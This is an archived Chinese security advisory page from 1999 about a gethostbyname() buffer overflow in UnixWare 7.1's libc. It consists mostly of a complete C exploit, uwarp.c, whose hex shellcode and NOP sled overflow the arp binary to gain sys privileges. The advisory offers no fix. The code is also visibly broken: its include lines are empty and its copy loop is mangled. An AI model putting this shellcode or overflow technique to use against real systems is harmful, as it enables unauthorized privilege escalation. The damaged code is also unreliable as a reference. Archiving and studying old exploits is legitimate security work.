首页 -> 安全研究

安全研究

安全漏洞
UnixWare 7.1的 libc溢出漏洞

发布日期:1999-12-03
更新日期:1999-12-03

受影响系统:
SCO Unix
UnixWare 7.1
描述:
UnixWare 7.1''s libc中存在一系列漏洞。gethostbyname()中存在的一个缓存溢出可以
让任何用户提升自己的权限。



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

--- uwarp.c ---
/**
** UnixWare 7.1 arp exploit yields gid of sys
** Demonstrates overflow in uw71''s gethostbyname()
** use offsets of +-100
** Brock Tellier btellier@usa.net
**
**/


#include
#include

char scoshell[]=
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/ui\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";


#define LEN 3500
#define NOP 0x90

/* cc != gcc, use hard-coded addresses usually within 0x8045xxxx-0x8048xxxx
unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}
*/

int main(int argc, char *argv[]) {

long int offset=0;

int i;
int buflen = LEN;
long int addr;
char buf[LEN];

if(argc > 3) {
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
exit(0);
}
else if (argc == 2){
offset=atoi(argv[1]);

}
else if (argc == 3) {
offset=atoi(argv[1]);
buflen=atoi(argv[2]);

}
else {
offset=100;
buflen=3000;

}


addr=0x8046b75 + offset;

fprintf(stderr, "\nUnixWare 7.1 arp exploit yields uid of sys\n");
fprintf(stderr, "Brock Tellier btellier@usa.net\n\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+2;i *(int *)&buf[i]=addr;

execl("/usr/sbin/arp", "arp", buf,
NULL);

exit(0);
}


建议:
暂无

浏览次数:8375
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障